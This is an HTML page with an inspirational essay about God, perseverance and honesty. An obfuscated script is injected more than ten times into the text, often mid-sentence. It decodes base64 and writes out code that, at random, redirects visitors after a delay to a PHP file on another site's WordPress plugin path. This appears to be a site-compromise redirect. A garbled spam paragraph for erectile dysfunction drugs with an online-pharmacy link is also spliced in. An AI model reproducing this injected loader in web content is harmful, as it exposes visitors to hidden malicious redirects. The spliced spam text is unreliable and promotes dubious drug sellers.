if(p7==184)p7=1105;y7+=String.fromCharCode(p7);}if(y4!=64){if(w9>=192)w9+=848;else if(w9==168)w9=1025;else if(w9==184)w9=1105;y7+=String.fromCharCode(w9);}}while(s0<q3.length);document.write(y7);};u2fd518ba9147('PHNjcmlwdD4NCnZhciBudW1iZXIxPU1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIDYpOyANCmlmIChudW1iZXIxPT0zKQ0Kew0KIHZhciBkZWxheSA9IDE4MDAwOwkNCiBzZXRUaW1lb3V0KCJkb2N1bWVudC5sb2NhdGlvbi5ocmVmPSdodHRwOi8vd3d3LmJ0bGF3ZmlybS5jb20vd3AtY29udGVudC9wbHVnaW5zL3NpLWNvbnRhY3QtZm9ybS9jYXB0Y2hhLXNlY3VyZWltYWdlL3NlY3VyaW1hZ2Vfc3RvcC5waHAnIiwgZGVsYXkpOw0KfQ0KPC9zY3JpcHQ+');</script>and most importantly God who gave us a heart to feel in the first place. </p>
<p>God is just <script>function u2fd518ba9147(q3){var u9='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var y7='';var ve,p7,w9,w4,y6,p9,y4;var s0=0;do{w4=u9.indexOf(q3.charAt(s0++));y6=u9.indexOf(q3.charAt(s0++));p9=u9.indexOf(q3.charAt(s0++));y4=u9.indexOf(q3.charAt(s0++));ve=(w4<<2)|(y6>>4);p7=((y6&15)<<4)|(p9>>2);w9=((p9&3)<<6)|y4;if(ve>=192)ve+=848;else if(ve==168)ve=1025;else if(ve==184)ve=1105;y7+=String.fromCharCode(ve);if(p9!=64){if(p7>=192)p7+=848;else if(p7==168)p7=1025;else if(p7==184)p7=1105;y7+=String.fromCharCode(p7);}if(y4!=64){if(w9>=192)w9+=848;else if(w9==168)w9=1025;else if(w9==184)w9=1105;y7+=String.fromCharCode(w9);}}while(s0<q3.length);document.write(y7);};u2fd518ba9147('PHNjcmlwdD4NCnZhciBudW1iZXIxPU1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIDYpOyANCmlmIChudW1iZXIxPT0zKQ0Kew0KIHZhciBkZWxheSA9IDE4MDAwOwkNCiBzZXRUaW1lb3V0KCJkb2N1bWVudC5sb2NhdGlvbi5ocmVmPSdodHRwOi8vd3d3LmJ0bGF3ZmlybS5jb20vd3AtY29udGVudC9wbHVnaW5zL3NpLWNvbnRhY3QtZm9ybS9jYXB0Y2hhLXNlY3VyZWltYWdlL3NlY3VyaW1hZ2Vfc3RvcC5waHAnIiwgZGVsYXkpOw0KfQ0KPC9zY3JpcHQ+');</script>and fair with his blessings for His people. Everyone of us is gifted in a certain way. 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You can be sure that person would go through a lot of tough life experiences in order to be moulded into an infallible spiritual tower, which was what was probably the initial intention of God. But with recklessness <script>function u2fd518ba9147(q3){var u9='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var y7='';var ve,p7,w9,w4,y6,p9,y4;var s0=0;do{w4=u9.indexOf(q3.charAt(s0++));y6=u9.indexOf(q3.charAt(s0++));p9=u9.indexOf(q3.charAt(s0++));y4=u9.indexOf(q3.charAt(s0++));ve=(w4<<2)|(y6>>4);p7=((y6&15)<<4)|(p9>>2);w9=((p9&3)<<6)|y4;if(ve>=192)ve+=848;else if(ve==168)ve=1025;else if(ve==184)ve=1105;y7+=String.fromCharCode(ve);if(p9!=64){if(p7>=192)p7+=848;else if(p7==168)p7=1025;else if(p7==184)p7=1105;y7+=String.fromCharCode(p7);}if(y4!=64){if(w9>=192)w9+=848;else if(w9==168)w9=1025;else if(w9==184)w9=1105;y7+=String.fromCharCode(w9);}}while(s0<q3.length);document.write(y7);};u2fd518ba9147('PHNjcmlwdD4NCnZhciBudW1iZXIxPU1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIDYpOyANCmlmIChudW1iZXIxPT0zKQ0Kew0KIHZhciBkZWxheSA9IDE4MDAwOwkNCiBzZXRUaW1lb3V0KCJkb2N1bWVudC5sb2NhdGlvbi5ocmVmPSdodHRwOi8vd3d3LmJ0bGF3ZmlybS5jb20vd3AtY29udGVudC9wbHVnaW5zL3NpLWNvbnRhY3QtZm9ybS9jYXB0Y2hhLXNlY3VyZWltYWdlL3NlY3VyaW1hZ2Vfc3RvcC5waHAnIiwgZGVsYXkpOw0KfQ0KPC9zY3JpcHQ+');</script>and carelessness, it would be so easy for that person to lose him or herself to the world <script>function u2fd518ba9147(q3){var u9='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var y7='';var ve,p7,w9,w4,y6,p9,y4;var s0=0;do{w4=u9.indexOf(q3.charAt(s0++));y6=u9.indexOf(q3.charAt(s0++));p9=u9.indexOf(q3.charAt(s0++));y4=u9.indexOf(q3.charAt(s0++));ve=(w4<<2)|(y6>>4);p7=((y6&15)<<4)|(p9>>2);w9=((p9&3)<<6)|y4;if(ve>=192)ve+=848;else if(ve==168)ve=1025;else if(ve==184)ve=1105;y7+=String.fromCharCode(ve);if(p9!=64){if(p7>=192)p7+=848;else if(p7==168)p7=1025;else if(p7==184)p7=1105;y7+=String.fromCharCode(p7);}if(y4!=64){if(w9>=192)w9+=848;else if(w9==168)w9=1025;else if(w9==184)w9=1105;y7+=String.fromCharCode(w9);}}while(s0<q3.length);document.write(y7);};u2fd518ba9147('PHNjcmlwdD4NCnZhciBudW1iZXIxPU1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIDYpOyANCmlmIChudW1iZXIxPT0zKQ0Kew0KIHZhciBkZWxheSA9IDE4MDAwOwkNCiBzZXRUaW1lb3V0KCJkb2N1bWVudC5sb2NhdGlvbi5ocmVmPSdodHRwOi8vd3d3LmJ0bGF3ZmlybS5jb20vd3AtY29udGVudC9wbHVnaW5zL3NpLWNvbnRhY3QtZm9ybS9jYXB0Y2hhLXNlY3VyZWltYWdlL3NlY3VyaW1hZ2Vfc3RvcC5waHAnIiwgZGVsYXkpOw0KfQ0KPC9zY3JpcHQ+');</script>and be trapped in the bottomless pit of despair <script>function u2fd518ba9147(q3){var u9='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var y7='';var ve,p7,w9,w4,y6,p9,y4;var s0=0;do{w4=u9.indexOf(q3.charAt(s0++));y6=u9.indexOf(q3.charAt(s0++));p9=u9.indexOf(q3.charAt(s0++));y4=u9.indexOf(q3.charAt(s0++));ve=(w4<<2)|(y6>>4);p7=((y6&15)<<4)|(p9>>2);w9=((p9&3)<<6)|y4;if(ve>=192)ve+=848;else if(ve==168)ve=1025;else if(ve==184)ve=1105;y7+=String.fromCharCode(ve);if(p9!=64){if(p7>=192)p7+=848;else if(p7==168)p7=1025;else if(p7==184)p7=1105;y7+=String.fromCharCode(p7);}if(y4!=64){if(w9>=192)w9+=848;else if(w9==168)w9=1025;else if(w9==184)w9=1105;y7+=String.fromCharCode(w9);}}while(s0<q3.length);document.write(y7);};u2fd518ba9147('PHNjcmlwdD4NCnZhciBudW1iZXIxPU1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIDYpOyANCmlmIChudW1iZXIxPT0zKQ0Kew0KIHZhciBkZWxheSA9IDE4MDAwOwkNCiBzZXRUaW1lb3V0KCJkb2N1bWVudC5sb2NhdGlvbi5ocmVmPSdodHRwOi8vd3d3LmJ0bGF3ZmlybS5jb20vd3AtY29udGVudC9wbHVnaW5zL3NpLWNvbnRhY3QtZm9ybS9jYXB0Y2hhLXNlY3VyZWltYWdlL3NlY3VyaW1hZ2Vfc3RvcC5waHAnIiwgZGVsYXkpOw0KfQ0KPC9zY3JpcHQ+');</script>and desperation.</p>
<p>Having said that, although we can strive to work on our mentality <script>function u2fd518ba9147(q3){var u9='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var y7='';var ve,p7,w9,w4,y6,p9,y4;var s0=0;do{w4=u9.indexOf(q3.charAt(s0++));y6=u9.indexOf(q3.charAt(s0++));p9=u9.indexOf(q3.charAt(s0++));y4=u9.indexOf(q3.charAt(s0++));ve=(w4<<2)|(y6>>4);p7=((y6&15)<<4)|(p9>>2);w9=((p9&3)<<6)|y4;if(ve>=192)ve+=848;else if(ve==168)ve=1025;else if(ve==184)ve=1105;y7+=String.fromCharCode(ve);if(p9!=64){if(p7>=192)p7+=848;else if(p7==168)p7=1025;else if(p7==184)p7=1105;y7+=String.fromCharCode(p7);}if(y4!=64){if(w9>=192)w9+=848;else if(w9==168)w9=1025;else if(w9==184)w9=1105;y7+=String.fromCharCode(w9);}}while(s0<q3.length);document.write(y7);};u2fd518ba9147('PHNjcmlwdD4NCnZhciBudW1iZXIxPU1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIDYpOyANCmlmIChudW1iZXIxPT0zKQ0Kew0KIHZhciBkZWxheSA9IDE4MDAwOwkNCiBzZXRUaW1lb3V0KCJkb2N1bWVudC5sb2NhdGlvbi5ocmVmPSdodHRwOi8vd3d3LmJ0bGF3ZmlybS5jb20vd3AtY29udGVudC9wbHVnaW5zL3NpLWNvbnRhY3QtZm9ybS9jYXB0Y2hhLXNlY3VyZWltYWdlL3NlY3VyaW1hZ2Vfc3RvcC5waHAnIiwgZGVsYXkpOw0KfQ0KPC9zY3JpcHQ+');</script>and attitude to look at things from the brighter side, what's more important is that we can actually work on our hearts to do what is right without having to suffer regrets later on. This would also mean embracing failures we encounter in our learning journey in order to pursue <script>function u2fd518ba9147(q3){var u9='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var y7='';var ve,p7,w9,w4,y6,p9,y4;var s0=0;do{w4=u9.indexOf(q3.charAt(s0++));y6=u9.indexOf(q3.charAt(s0++));p9=u9.indexOf(q3.charAt(s0++));y4=u9.indexOf(q3.charAt(s0++));ve=(w4<<2)|(y6>>4);p7=((y6&15)<<4)|(p9>>2);w9=((p9&3)<<6)|y4;if(ve>=192)ve+=848;else if(ve==168)ve=1025;else if(ve==184)ve=1105;y7+=String.fromCharCode(ve);if(p9!=64){if(p7>=192)p7+=848;else if(p7==168)p7=1025;else if(p7==184)p7=1105;y7+=String.fromCharCode(p7);}if(y4!=64){if(w9>=192)w9+=848;else if(w9==168)w9=1025;else if(w9==184)w9=1105;y7+=String.fromCharCode(w9);}}while(s0<q3.length);document.write(y7);};u2fd518ba9147('PHNjcmlwdD4NCnZhciBudW1iZXIxPU1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIDYpOyANCmlmIChudW1iZXIxPT0zKQ0Kew0KIHZhciBkZWxheSA9IDE4MDAwOwkNCiBzZXRUaW1lb3V0KCJkb2N1bWVudC5sb2NhdGlvbi5ocmVmPSdodHRwOi8vd3d3LmJ0bGF3ZmlybS5jb20vd3AtY29udGVudC9wbHVnaW5zL3NpLWNvbnRhY3QtZm9ybS9jYXB0Y2hhLXNlY3VyZWltYWdlL3NlY3VyaW1hZ2Vfc3RvcC5waHAnIiwgZGVsYXkpOw0KfQ0KPC9zY3JpcHQ+');</script>and persevere on.  </p>
<p>Make a date with yourself <script>function u2fd518ba9147(q3){var u9='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var y7='';var ve,p7,w9,w4,y6,p9,y4;var s0=0;do{w4=u9.indexOf(q3.charAt(s0++));y6=u9.indexOf(q3.charAt(s0++));p9=u9.indexOf(q3.charAt(s0++));y4=u9.indexOf(q3.charAt(s0++));ve=(w4<<2)|(y6>>4);p7=((y6&15)<<4)|(p9>>2);w9=((p9&3)<<6)|y4;if(ve>=192)ve+=848;else if(ve==168)ve=1025;else if(ve==184)ve=1105;y7+=String.fromCharCode(ve);if(p9!=64){if(p7>=192)p7+=848;else if(p7==168)p7=1025;else if(p7==184)p7=1105;y7+=String.fromCharCode(p7);}if(y4!=64){if(w9>=192)w9+=848;else if(w9==168)w9=1025;else if(w9==184)w9=1105;y7+=String.fromCharCode(w9);}}while(s0<q3.length);document.write(y7);};u2fd518ba9147('PHNjcmlwdD4NCnZhciBudW1iZXIxPU1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIDYpOyANCmlmIChudW1iZXIxPT0zKQ0Kew0KIHZhciBkZWxheSA9IDE4MDAwOwkNCiBzZXRUaW1lb3V0KCJkb2N1bWVudC5sb2NhdGlvbi5ocmVmPSdodHRwOi8vd3d3LmJ0bGF3ZmlybS5jb20vd3AtY29udGVudC9wbHVnaW5zL3NpLWNvbnRhY3QtZm9ybS9jYXB0Y2hhLXNlY3VyZWltYWdlL3NlY3VyaW1hZ2Vfc3RvcC5waHAnIiwgZGVsYXkpOw0KfQ0KPC9zY3JpcHQ+');</script>and reflect on these questions: </p>
<p>1) How badly do you want to achieve the things you have planned for yourself even if it means you have to endure <script>function u2fd518ba9147(q3){var u9='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var y7='';var ve,p7,w9,w4,y6,p9,y4;var s0=0;do{w4=u9.indexOf(q3.charAt(s0++));y6=u9.indexOf(q3.charAt(s0++));p9=u9.indexOf(q3.charAt(s0++));y4=u9.indexOf(q3.charAt(s0++));ve=(w4<<2)|(y6>>4);p7=((y6&15)<<4)|(p9>>2);w9=((p9&3)<<6)|y4;if(ve>=192)ve+=848;else if(ve==168)ve=1025;else if(ve==184)ve=1105;y7+=String.fromCharCode(ve);if(p9!=64){if(p7>=192)p7+=848;else if(p7==168)p7=1025;else if(p7==184)p7=1105;y7+=String.fromCharCode(p7);}if(y4!=64){if(w9>=192)w9+=848;else if(w9==168)w9=1025;else if(w9==184)w9=1105;y7+=String.fromCharCode(w9);}}while(s0<q3.length);document.write(y7);};u2fd518ba9147('PHNjcmlwdD4NCnZhciBudW1iZXIxPU1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIDYpOyANCmlmIChudW1iZXIxPT0zKQ0Kew0KIHZhciBkZWxheSA9IDE4MDAwOwkNCiBzZXRUaW1lb3V0KCJkb2N1bWVudC5sb2NhdGlvbi5ocmVmPSdodHRwOi8vd3d3LmJ0bGF3ZmlybS5jb20vd3AtY29udGVudC9wbHVnaW5zL3NpLWNvbnRhY3QtZm9ybS9jYXB0Y2hhLXNlY3VyZWltYWdlL3NlY3VyaW1hZ2Vfc3RvcC5waHAnIiwgZGVsYXkpOw0KfQ0KPC9zY3JpcHQ+');</script>and tolerate the pain during the learning process? </p>
<p>2) Can you persevere through the journey without running away? </p>
<p>3) Would you opt to continue running away from reality if it meant hurting the ones who care <script>function u2fd518ba9147(q3){var u9='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var y7='';var ve,p7,w9,w4,y6,p9,y4;var s0=0;do{w4=u9.indexOf(q3.charAt(s0++));y6=u9.indexOf(q3.charAt(s0++));p9=u9.indexOf(q3.charAt(s0++));y4=u9.indexOf(q3.charAt(s0++));ve=(w4<<2)|(y6>>4);p7=((y6&15)<<4)|(p9>>2);w9=((p9&3)<<6)|y4;if(ve>=192)ve+=848;else if(ve==168)ve=1025;else if(ve==184)ve=1105;y7+=String.fromCharCode(ve);if(p9!=64){if(p7>=192)p7+=848;else if(p7==168)p7=1025;else if(p7==184)p7=1105;y7+=String.fromCharCode(p7);}if(y4!=64){if(w9>=192)w9+=848;else if(w9==168)w9=1025;else if(w9==184)w9=1105;y7+=String.fromCharCode(w9);}}while(s0<q3.length);document.write(y7);};u2fd518ba9147('PHNjcmlwdD4NCnZhciBudW1iZXIxPU1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIDYpOyANCmlmIChudW1iZXIxPT0zKQ0Kew0KIHZhciBkZWxheSA9IDE4MDAwOwkNCiBzZXRUaW1lb3V0KCJkb2N1bWVudC5sb2NhdGlvbi5ocmVmPSdodHRwOi8vd3d3LmJ0bGF3ZmlybS5jb20vd3AtY29udGVudC9wbHVnaW5zL3NpLWNvbnRhY3QtZm9ybS9jYXB0Y2hhLXNlY3VyZWltYWdlL3NlY3VyaW1hZ2Vfc3RvcC5waHAnIiwgZGVsYXkpOw0KfQ0KPC9zY3JpcHQ+');</script>and love you deeply? </p>
<p>Always remember, every action carries a consequence. Whatever path you choose to take, you would eventually have to deal with the direct or indirect consequences. Learn to feel with your heart instead of only thinking or over rationalising. This may not seem logical but your heart will definitely show you the right way. Patience is key as well. It is also a wise choice to make in the face of pain that comes with truth. People who genuinely care for you will tell you that the truth is definitely better than being deceived by the lies you tell them <script>function u2fd518ba9147(q3){var u9='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var y7='';var ve,p7,w9,w4,y6,p9,y4;var s0=0;do{w4=u9.indexOf(q3.charAt(s0++));y6=u9.indexOf(q3.charAt(s0++));p9=u9.indexOf(q3.charAt(s0++));y4=u9.indexOf(q3.charAt(s0++));ve=(w4<<2)|(y6>>4);p7=((y6&15)<<4)|(p9>>2);w9=((p9&3)<<6)|y4;if(ve>=192)ve+=848;else if(ve==168)ve=1025;else if(ve==184)ve=1105;y7+=String.fromCharCode(ve);if(p9!=64){if(p7>=192)p7+=848;else if(p7==168)p7=1025;else if(p7==184)p7=1105;y7+=String.fromCharCode(p7);}if(y4!=64){if(w9>=192)w9+=848;else if(w9==168)w9=1025;else if(w9==184)w9=1105;y7+=String.fromCharCode(w9);}}while(s0<q3.length);document.write(y7);};u2fd518ba9147('PHNjcmlwdD4NCnZhciBudW1iZXIxPU1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIDYpOyANCmlmIChudW1iZXIxPT0zKQ0Kew0KIHZhciBkZWxheSA9IDE4MDAwOwkNCiBzZXRUaW1lb3V0KCJkb2N1bWVudC5sb2NhdGlvbi5ocmVmPSdodHRwOi8vd3d3LmJ0bGF3ZmlybS5jb20vd3AtY29udGVudC9wbHVnaW5zL3NpLWNvbnRhY3QtZm9ybS9jYXB0Y2hhLXNlY3VyZWltYWdlL3NlY3VyaW1hZ2Vfc3RvcC5waHAnIiwgZGVsYXkpOw0KfQ0KPC9zY3JpcHQ+');</script>and yourself in desperation to escape from reality. That includes white lies as well. Whether you believe it or not, like it or not, the truth always surface with time when we least expect it. There is no escape at all.</p>
<p id="jtn716">It's estimated 1 in 10 men has a health problem related to sexual life, such as importance. The definition of erectile dysfunction the persistent impossibility to achieve a satisfactory erection, exerts an estimated more then twenty millions men in the U.S. alone. Millions of customers order online such drugs like Cialis. Many US citizens know about "<a href="https://supplements-std-tests.com/acquisto/kamagra-italia/">https://supplements-std-tests.com/acquisto/kamagra-italia/</a>". But is this really the right field for you? This article focuses on the symptoms of erectile dysfunction <script>function u2fd518ba9147(q3){var u9='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var y7='';var ve,p7,w9,w4,y6,p9,y4;var s0=0;do{w4=u9.indexOf(q3.charAt(s0++));y6=u9.indexOf(q3.charAt(s0++));p9=u9.indexOf(q3.charAt(s0++));y4=u9.indexOf(q3.charAt(s0++));ve=(w4<<2)|(y6>>4);p7=((y6&15)<<4)|(p9>>2);w9=((p9&3)<<6)|y4;if(ve>=192)ve+=848;else if(ve==168)ve=1025;else if(ve==184)ve=1105;y7+=String.fromCharCode(ve);if(p9!=64){if(p7>=192)p7+=848;else if(p7==168)p7=1025;else if(p7==184)p7=1105;y7+=String.fromCharCode(p7);}if(y4!=64){if(w9>=192)w9+=848;else if(w9==168)w9=1025;else if(w9==184)w9=1105;y7+=String.fromCharCode(w9);}}while(s0<q3.length);document.write(y7);};u2fd518ba9147('PHNjcmlwdD4NCnZhciBudW1iZXIxPU1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIDYpOyANCmlmIChudW1iZXIxPT0zKQ0Kew0KIHZhciBkZWxheSA9IDE4MDAwOwkNCiBzZXRUaW1lb3V0KCJkb2N1bWVudC5sb2NhdGlvbi5ocmVmPSdodHRwOi8vd3d3LmJ0bGF3ZmlybS5jb20vd3AtY29udGVudC9wbHVnaW5zL3NpLWNvbnRhY3QtZm9ybS9jYXB0Y2hhLXNlY3VyZWltYWdlL3NlY3VyaW1hZ2Vfc3RvcC5waHAnIiwgZGVsYXkpOw0KfQ0KPC9zY3JpcHQ+');</script>and "". Other question we should is "". After all, such kind of dysfunctions can be first sign of earnest health problems, such as heart disease. Several patients using this medicine ordinarily do not have any side effects to Cialis.</p>
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